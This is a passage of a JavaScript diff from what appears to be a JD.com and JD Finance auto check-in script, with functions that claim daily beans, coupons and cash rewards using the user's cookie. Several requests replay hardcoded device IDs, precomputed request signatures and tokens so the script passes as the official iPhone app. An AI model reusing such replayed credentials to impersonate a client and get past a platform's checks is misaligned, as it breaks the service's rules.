"京东商城-转盘: 失败, 原因: 无支付密码 ⚠️" + } else { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-转盘", "JDTurn", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongSteel(s, body) { + merge.JRSteel = {}; + return new Promise(resolve => { + if (disable("JRSteel")) return resolve(); + if (!body) { + merge.JRSteel.fail = 1; + merge.JRSteel.notify = "京东金融-钢镚: 失败, 未获取签到Body ⚠️"; + return resolve(); + } + setTimeout(() => { + const JRSUrl = { + url: 'https://ms.jr.jd.com/gw/generic/hy/h5/m/appSign', + headers: { + Cookie: KEY + }, + body: body || '' + }; + $nobyda.post(JRSUrl, function(error, response, data) { + try { + if (error) throw new Error(error) + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 0) { + console.log("\n" + "京东金融-钢镚签到成功 " + Details) + merge.JRSteel.notify = `京东金融-钢镚: 成功, 获得钢镚奖励 💰` + merge.JRSteel.success = 1 + } else { + console.log("\n" + "京东金融-钢镚签到失败 " + Details) + merge.JRSteel.fail = 1 + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 15) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/未实名/)) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 账号未实名 ⚠️" + } else if (cc.resultCode == 3) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: Cookie失效‼️" + } else { + const ng = (cc.resultData && cc.resultData.resBusiMsg) || cc.resultMsg + merge.JRSteel.notify = `京东金融-钢镚: 失败, ${`原因: ${ng||`未知`}`} ⚠️` + } + } + } catch (eor) { + $nobyda.AnError("京东金融-钢镚", "JRSteel", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongShake(s) { + if (!merge.JDShake) merge.JDShake = {}, merge.JDShake.success = 0, merge.JDShake.bean = 0, merge.JDShake.notify = ''; + return new Promise(resolve => { + if (disable("JDShake")) return resolve() + setTimeout(() => { + const JDSh = { + url: 'https://api.m.jd.com/client.action?appid=vip_h5&functionId=vvipclub_shaking', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDSh, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + const also = merge.JDShake.notify ? true : false + if (data.match(/prize/)) { + console.log("\n" + "京东商城-摇一摇签到成功 " + Details) + merge.JDShake.success += 1 + if (cc.data.prizeBean) { + merge.JDShake.bean += cc.data.prizeBean.count || 0 + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次`:`成功`}, 明细: ${merge.JDShake.bean || `无`}京豆 🐶` + } else if (cc.data.prizeCoupon) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次, `:``}获得满${cc.data.prizeCoupon.quota}减${cc.data.prizeCoupon.discount}优惠券→ ${cc.data.prizeCoupon.limitStr}` + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 未知 ⚠️${also?` (多次)`:``}` + } + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + console.log("\n" + "京东商城-摇一摇签到失败 " + Details) + if (data.match(/true/)) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 无奖励 🐶${also?` (多次)`:``}` + merge.JDShake.success += 1 + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + merge.JDShake.fail = 1 + if (data.match(/(无免费|8000005|9000005)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: 已摇过 ⚠️" + } else if (data.match(/(未登录|101)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: Cookie失效‼️" + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-摇摇", "JDShake", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDUserSignPre(s, key, title, ac) { + merge[key] = {}; + if ($nobyda.isJSBox) { + return JDUserSignPre2(s, key, title, ac); + } else { + return JDUserSignPre1(s, key, title, ac); + } +} + +function JDUserSignPre1(s, key, title, acData, ask) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: 'https://api.m.jd.com/?client=wh5&functionId=qryH5BabelFloors', + headers: { + Cookie: KEY + }, + opts: { + 'filter': 'try{var od=JSON.parse(body);var params=(od.floatLayerList||[]).filter(o=>o.params&&o.params.match(/enActK/)).map(o=>o.params).pop()||(od.floorList||[]).filter(o=>o.template=="signIn"&&o.signInfos&&o.signInfos.params&&o.signInfos.params.match(/enActK/)).map(o=>o.signInfos&&o.signInfos.params).pop();var tId=(od.floorList||[]).filter(o=>o.boardParams&&o.boardParams.turnTableId).map(o=>o.boardParams.turnTableId).pop();var page=od.paginationFlrs;return JSON.stringify({qxAct:params||null,qxTid:tId||null,qxPage:page||null})}catch(e){return `=> 过滤器发生错误: ${e.message}`}' + }, + body: `body=${encodeURIComponent(`{"activityId":"${acData}"${ask?`,"paginationParam":"2","paginationFlrs":"${ask}"`:``}}`)}` + }; + $nobyda.post(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const od = JSON.parse(data || '{}'); + const turnTableId = od.qxTid || (od.floorList || []).filter(o => o.boardParams && o.boardParams.turnTableId).map(o => o.boardParams.turnTableId).pop(); + const page = od.qxPage || od.paginationFlrs; + if (data.match(/enActK/)) { // 含有签到活动数据 + let params = od.qxAct || (od.floatLayerList || []).filter(o => o.params && o.params.match(/enActK/)).map(o => o.params).pop() + if (!params) { // 第一处找到签到所需数据 + // floatLayerList未找到签到所需数据,从floorList中查找 + let signInfo = (od.floorList || []).filter(o => o.template == 'signIn' && o.signInfos && o.signInfos.params && o.signInfos.params.match(/enActK/)) + .map(o => o.signInfos).pop(); + if (signInfo) { + if (signInfo.signStat == '1') { + console.log(`\n${title}重复签到`) + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + merge[key].fail = 1 + } else { + params = signInfo.params; + } + } else { + merge[key].notify = `${title}: 失败, 活动查找异常 ⚠️` + merge[key].fail = 1 + } + } + if (params) { + return resolve({ + params: params + }); // 执行签到处理 + } + } else if (turnTableId) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTableId)) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page && !ask) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(JSON.stringify(data))); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data); + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data); + }, () => disable(key, title, 2)) +} + +function JDUserSignPre2(s, key, title, acData) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: `https://pro.m.jd.com/mall/active/${acData}/index.html`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const act = data.match(/\"params\":\"\{\\\"enActK.+?\\\"\}\"/) + const turnTable = data.match(/\"turnTableId\":\"(\d+)\"/) + const page = data.match(/\"paginationFlrs\":\"(\[\[.+?\]\])\"/) + if (act) { // 含有签到活动数据 + return resolve(act) + } else if (turnTable) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTable[1])) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page[1]) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(`{${data}}`)); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data) + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data) + }, () => disable(key, title, 2)) +} + +function JDUserSign1(s, key, title, body) { + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://api.m.jd.com/client.action?functionId=userSign', + headers: { + Cookie: KEY + }, + body: `body=${body}&client=wh5` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/签到成功/)) { + console.log(`\n${title}签到成功(1)${Details}`) + if (data.match(/\"text\":\"\d+京豆\"/)) { + merge[key].bean = data.match(/\"text\":\"(\d+)京豆\"/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 🐶` + merge[key].success = 1 + } else { + console.log(`\n${title}签到失败(1)${Details}`) + if (data.match(/(已签到|已领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/\"code\":\"?3\"?/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + merge[key].fail = 1 + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +async function JDUserSign2(s, key, title, tid) { + return console.log(`\n${title} >> 可能需要拼图验证, 跳过签到 ⚠️`); + await new Promise(resolve => { + $nobyda.get({ + url: `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${tid}&invokeKey=ztmFUCxcPMNyUq0P`, + headers: { + Cookie: KEY + } + }, function(error, response, data) { + resolve() + }) + if (out) setTimeout(resolve, out + s) + }); + return new Promise(resolve => { + setTimeout(() => { + const JDUrl = { + url: 'https://jdjoy.jd.com/api/turncard/channel/sign?invokeKey=ztmFUCxcPMNyUq0P', + headers: { + lkt: '1629984131120', + lks: 'd7db92cf40ad5a8d54b9da2b561c5f84', + Cookie: KEY + }, + body: `turnTableId=${tid}` + }; + $nobyda.post(JDUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? `response:\n${data}` : ''; + if (data.match(/\"success\":true/)) { + console.log(`\n${title}签到成功(2)${Details}`) + if (data.match(/\"jdBeanQuantity\":\d+/)) { + merge[key].bean = data.match(/\"jdBeanQuantity\":(\d+)/)[1] + } + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean || '无'}京豆 �` + merge[key].success = 1 + } else { + const captcha = /请进行验证/.test(data); + if (data.match(/(已经签到|已经领取)/)) { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + } else if (data.match(/(不存在|已结束|未开始)/)) { + merge[key].notify = `${title}: 失败, 原因: 活动已结束 ⚠️` + } else if (data.match(/(没有登录|B0001)/)) { + merge[key].notify = `${title}: 失败, 原因: Cookie失效‼️` + } else if (!captcha) { + const ng = data.match(/\"(errorMessage|subCodeMsg)\":\"(.+?)\"/) + merge[key].notify = `${title}: 失败, ${ng?ng[2]:`原因: 未知`} ⚠️` + } + if (!captcha) merge[key].fail = 1; + console.log(`\n${title}签到失败(2)${captcha?`\n需要拼图验证, 跳过通知记录 ⚠️`:``}${Details}`) + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, 200 + s) + if (out) setTimeout(resolve, out + s + 200) + }); +} + +function JDFlashSale(s) { + merge.JDFSale = {}; + return new Promise(resolve => { + if (disable("JDFSale")) return resolve() + setTimeout(() => { + const JDPETUrl = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdSgin', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=6768e2cf625427615dd89649dd367d41&st=1597248593305&sv=121" + }; + $nobyda.post(JDPETUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result && cc.result.code == 0) { + console.log("\n" + "京东商城-闪购签到成功 " + Details) + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东商城-闪购: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + merge.JDFSale.success = 1 + } else { + console.log("\n" + "京东商城-闪购签到失败 " + Details) + if (data.match(/(已签到|已领取|\"2005\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/不存在|已结束|\"2008\"|\"3001\"/)) { + await FlashSaleDivide(s); //瓜分京豆 + return + } else if (data.match(/(\"code\":\"3\"|\"1003\")/)) { + merge.JDFSale.notify = "京东商城-闪购: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东商城-闪购: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + merge.JDFSale.fail = 1 + } + } + } catch (eor) { + $nobyda.AnError("京东商城-闪购", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function FlashSaleDivide(s) { + return new Promise(resolve => { + setTimeout(() => { + const Url = { + url: 'https://api.m.jd.com/client.action?functionId=partitionJdShare', + headers: { + Cookie: KEY + }, + body: "body=%7B%22version%22%3A%22v2%22%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=49baa3b3899b02bbf06cdf41fe191986&st=1597682588351&sv=111" + }; + $nobyda.post(Url, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.result.code == 0) { + merge.JDFSale.success = 1 + merge.JDFSale.bean = cc.result.jdBeanNum || 0 + merge.JDFSale.notify = "京东闪购-瓜分: 成功, 明细: " + (merge.JDFSale.bean || "无") + "京豆 🐶" + console.log("\n" + "京东闪购-瓜分签到成功 " + Details) + } else { + merge.JDFSale.fail = 1 + console.log("\n" + "京东闪购-瓜分签到失败 " + Details) + if (data.match(/已参与|已领取|\"2006\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 已瓜分 ⚠️" + } else if (data.match(/不存在|已结束|未开始|\"2008\"|\"2012\"/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/\"code\":\"1003\"|未获取/)) { + merge.JDFSale.notify = "京东闪购-瓜分: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.match(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/) + merge.JDFSale.notify = `京东闪购-瓜分: 失败, ${msg ? msg[1] : `原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东闪购-瓜分", "JDFSale", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongCash(s) { + merge.JDCash = {}; + return new Promise(resolve => { + if (disable("JDCash")) return resolve() + setTimeout(() => { + const JDCAUrl = { + url: 'https://api.m.jd.com/client.action?functionId=ccSignInNew', + headers: { + Cookie: KEY + }, + body: "body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22eid%22%3A%22O5X6JYMZTXIEX4VBCBWEM5PTIZV6HXH7M3AI75EABM5GBZYVQKRGQJ5A2PPO5PSELSRMI72SYF4KTCB4NIU6AZQ3O6C3J7ZVEP3RVDFEBKVN2RER2GTQ%22%2C%22shshshfpb%22%3A%22v1%5C%2FzMYRjEWKgYe%2BUiNwEvaVlrHBQGVwqLx4CsS9PH1s0s0Vs9AWk%2B7vr9KSHh3BQd5NTukznDTZnd75xHzonHnw%3D%3D%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22monitorSource%22%3A%22cc_sign_ios_index_config%22%7D&client=apple&clientVersion=8.5.0&d_brand=apple&d_model=iPhone8%2C2&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&scope=11&screen=1242%2A2208&sign=1cce8f76d53fc6093b45a466e93044da&st=1581084035269&sv=102" + }; + $nobyda.post(JDCAUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.busiCode == "0") { + console.log("\n" + "京东现金-红包签到成功 " + Details) + merge.JDCash.success = 1 + merge.JDCash.Cash = cc.result.signResult.signData.amount || 0 + merge.JDCash.notify = `京东现金-红包: 成功, 明细: ${merge.JDCash.Cash || `无`}红包 🧧` + } else { + console.log("\n" + "京东现金-红包签到失败 " + Details) + merge.JDCash.fail = 1 + if (data.match(/(\"busiCode\":\"1002\"|完成签到)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"busiCode\":\"3\"|未登录)/)) { + merge.JDCash.notify = "京东现金-红包: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.JDCash.notify = `京东现金-红包: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东现金-红包", "JDCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDMagicCube(s, sign) { + merge.JDCube = {}; + return new Promise((resolve, reject) => { + if (disable("JDCube")) return reject() + const JDUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionInfo&appid=smfe${sign?`&body=${encodeURIComponent(`{"sign":${sign}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async (error, response, data) => { + try { + if (error) throw new Error(error) + const Details = LogDetails ? "response:\n" + data : ''; + console.log(`\n京东魔方-尝试查询活动(${sign}) ${Details}`) + if (data.match(/\"interactionId\":\d+/)) { + resolve({ + id: data.match(/\"interactionId\":(\d+)/)[1], + sign: sign || null + }) + } else if (data.match(/配置异常/) && sign) { + await JDMagicCube(s, sign == 2 ? 1 : null) + reject() + } else { + resolve(null) + } + } catch (eor) { + $nobyda.AnError("京东魔方-查询", "JDCube", eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + return JDMagicCubeSign(s, data) + }, () => {}); +} + +function JDMagicCubeSign(s, id) { + return new Promise(resolve => { + setTimeout(() => { + const JDMCUrl = { + url: `https://api.m.jd.com/client.action?functionId=getNewsInteractionLotteryInfo&appid=smfe${id?`&body=${encodeURIComponent(`{${id.sign?`"sign":${id.sign},`:``}"interactionId":${id.id}}`)}`:``}`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDMCUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (data.match(/(\"name\":)/)) { + console.log("\n" + "京东商城-魔方签到成功 " + Details) + merge.JDCube.success = 1 + if (data.match(/(\"name\":\"京豆\")/)) { + merge.JDCube.bean = cc.result.lotteryInfo.quantity || 0 + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${merge.JDCube.bean || `无`}京豆 🐶` + } else { + merge.JDCube.notify = `京东商城-魔方: 成功, 明细: ${cc.result.lotteryInfo.name || `未知`} 🎉` + } + } else { + console.log("\n" + "京东商城-魔方签到失败 " + Details) + merge.JDCube.fail = 1 + if (data.match(/(一闪而过|已签到|已领取)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 无机会 ⚠️" + } else if (data.match(/(不存在|已结束)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 活动已结束 ⚠️" + } else if (data.match(/(\"code\":3)/)) { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: Cookie失效‼️" + } else { + merge.JDCube.notify = "京东商城-魔方: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-魔方", "JDCube", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongSubsidy(s) { + merge.subsidy = {}; + return new Promise(resolve => { + if (disable("subsidy")) return resolve() + setTimeout(() => { + const subsidyUrl = { + url: 'https://ms.jr.jd.com/gw/generic/uc/h5/m/signIn7', + headers: { + Referer: "https://active.jd.com/forever/cashback/index", + Cookie: KEY + } + }; + $nobyda.get(subsidyUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + if (cc.resultCode == 0 && cc.resultData.data && cc.resultData.data.thisAmount) { + console.log("\n" + "京东商城-金贴签到成功 " + Details) + merge.subsidy.subsidy = cc.resultData.data.thisAmountStr + merge.subsidy.notify = `京东商城-金贴: 成功, 明细: ${merge.subsidy.subsidy||`无`}金贴 💰` + merge.subsidy.success = 1 + } else { + console.log("\n" + "京东商城-金贴签到失败 " + Details) + merge.subsidy.fail = 1 + if (data.match(/已存在|"thisAmount":0/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: 无金贴 ⚠️" + } else if (data.match(/请先登录/)) { + merge.subsidy.notify = "京东商城-金贴: 失败, 原因: Cookie失效‼️" + } else { + const msg = data.split(/\"msg\":\"([\u4e00-\u9fa5].+?)\"/)[1]; + merge.subsidy.notify = `京东商城-金贴: 失败, ${msg||`原因: 未知`} ⚠️` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-金贴", "subsidy", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongDoll(s, key, title, code, type, num, award, belong) { + merge[key] = {}; + return new Promise(resolve => { + if (disable(key)) return resolve() + setTimeout(() => { + const DollUrl = { + url: "https://nu.jr.jd.com/gw/generic/jrm/h5/m/process", + headers: { + Cookie: KEY + }, + body: `reqData=${encodeURIComponent(`{"actCode":"${code}","type":${type?type:`3`}${code=='F68B2C3E71'?`,"frontParam":{"belong":"${belong}"}`:code==`1DF13833F7`?`,"frontParam":{"channel":"JR","belong":4}`:``}}`)}` + }; + $nobyda.post(DollUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + var cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0) { + if (cc.resultData.data.businessData != null) { + console.log(`\n${title}查询成功 ${Details}`) + if (cc.resultData.data.businessData.pickStatus == 2) { + if (data.match(/\"rewardPrice\":\"\d.*?\"/)) { + const JRDoll_bean = data.match(/\"rewardPrice\":\"(\d.*?)\"/)[1] + const JRDoll_type = data.match(/\"rewardName\":\"金贴奖励\"/) ? true : false + await JingRongDoll(s, key, title, code, '4', JRDoll_bean, JRDoll_type) + } else { + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: 无奖励 🐶` + } + } else if (code == 'F68B2C3E71' || code == '1DF13833F7') { + if (!data.match(/"businessCode":"30\dss?q"/)) { + merge[key].success = 1 + const ct = data.match(/\"count\":\"?(\d.*?)\"?,/) + if (code == 'F68B2C3E71' && belong == 'xianjin') { + merge[key].Money = ct ? ct[1] > 9 ? `0.${ct[1]}` : `0.0${ct[1]}` : 0 + merge[key].notify = `${title}: 成功, 明细: ${merge[key].Money||`无`}现金 💰` + } else if (code == 'F68B2C3E71' && belong == 'jingdou') { + merge[key].bean = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].bean||`无`}京豆 🐶` + } else if (code == '1DF13833F7') { + merge[key].subsidy = ct ? ct[1] : 0; + merge[key].notify = `${title}: 成功, 明细: ${merge[key].subsidy||`无`}金贴 💰` + } + } else { + const es = cc.resultData.data.businessMsg + const ep = cc.resultData.data.businessData.businessMsg + const tp = data.match(/已领取|300ss?q/) ? `已签过` : `${ep||es||cc.resultMsg||`未知`}` + merge[key].notify = `${title}: 失败, 原因: ${tp} ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️`; + merge[key].fail = 1 + } + } else if (cc.resultData.data.businessCode == 200) { + console.log(`\n${title}签到成功 ${Details}`) + if (!award) { + merge[key].bean = num ? num.match(/\d+/)[0] : 0 + } else { + merge[key].subsidy = num || 0 + } + merge[key].success = 1 + merge[key].notify = `${title}: 成功, 明细: ${(award?num:merge[key].bean)||`无`}${award?`金贴 💰`:`京豆 🐶`}` + } else { + console.log(`\n${title}领取异常 ${Details}`) + if (num) console.log(`\n${title} 请尝试手动领取, 预计可得${num}${award?`金贴`:`京豆`}: \nhttps://uf1.jr.jd.com/up/redEnvelopes/index.html?actCode=${code}\n`); + merge[key].fail = 1; + merge[key].notify = `${title}: 失败, 原因: 领取异常 ⚠️`; + } + } else { + console.log(`\n${title}签到失败 ${Details}`) + const redata = typeof(cc.resultData) == 'string' ? cc.resultData : '' + merge[key].notify = `${title}: 失败, ${cc.resultCode==3?`原因: Cookie失效‼️`:`${redata||'原因: 未知 ⚠️'}`}` + merge[key].fail = 1; + } + } + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongGetCash(s) { + merge.JDGetCash = {}; + return new Promise(resolve => { + if (disable("JDGetCash")) return resolve() + setTimeout(() => { + const GetCashUrl = { + url: 'https://api.m.jd.com/client.action?functionId=cash_sign&body=%7B%22remind%22%3A0%2C%22inviteCode%22%3A%22%22%2C%22type%22%3A0%2C%22breakReward%22%3A0%7D&client=apple&clientVersion=9.0.8&openudid=1fce88cd05c42fe2b054e846f11bdf33f016d676&sign=7e2f8bcec13978a691567257af4fdce9&st=1596954745073&sv=111', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(GetCashUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data.success && cc.data.result) { + console.log("\n" + "京东商城-现金签到成功 " + Details) + merge.JDGetCash.success = 1 + merge.JDGetCash.Money = cc.data.result.signCash || 0 + merge.JDGetCash.notify = `京东商城-现金: 成功, 明细: ${cc.data.result.signCash||`无`}现金 💰` + } else { + console.log("\n" + "京东商城-现金签到失败 " + Details) + merge.JDGetCash.fail = 1 + if (data.match(/\"bizCode\":201|已经签过/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/\"code\":300|退出登录/)) { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: Cookie失效‼️" + } else { + merge.JDGetCash.notify = "京东商城-现金: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-现金", "JDGetCash", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongStore(s) { + merge.JDGStore = {}; + return new Promise(resolve => { + if (disable("JDGStore")) return resolve() + setTimeout(() => { + $nobyda.get({ + url: 'https://api.m.jd.com/api?appid=jdsupermarket&functionId=smtg_sign&clientVersion=8.0.0&client=m&body=%7B%7D', + headers: { + Cookie: KEY, + Origin: `https://jdsupermarket.jd.com` + } + }, (error, response, data) => { + try { + if (error) throw new Error(error); + const cc = JSON.parse(data); + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.data && cc.data.success === true && cc.data.bizCode === 0) { + console.log(`\n京东商城-超市签到成功 ${Details}`) + merge.JDGStore.success = 1 + merge.JDGStore.bean = cc.data.result.jdBeanCount || 0 + merge.JDGStore.notify = `京东商城-超市: 成功, 明细: ${merge.JDGStore.bean||`无`}京豆 🐶` + 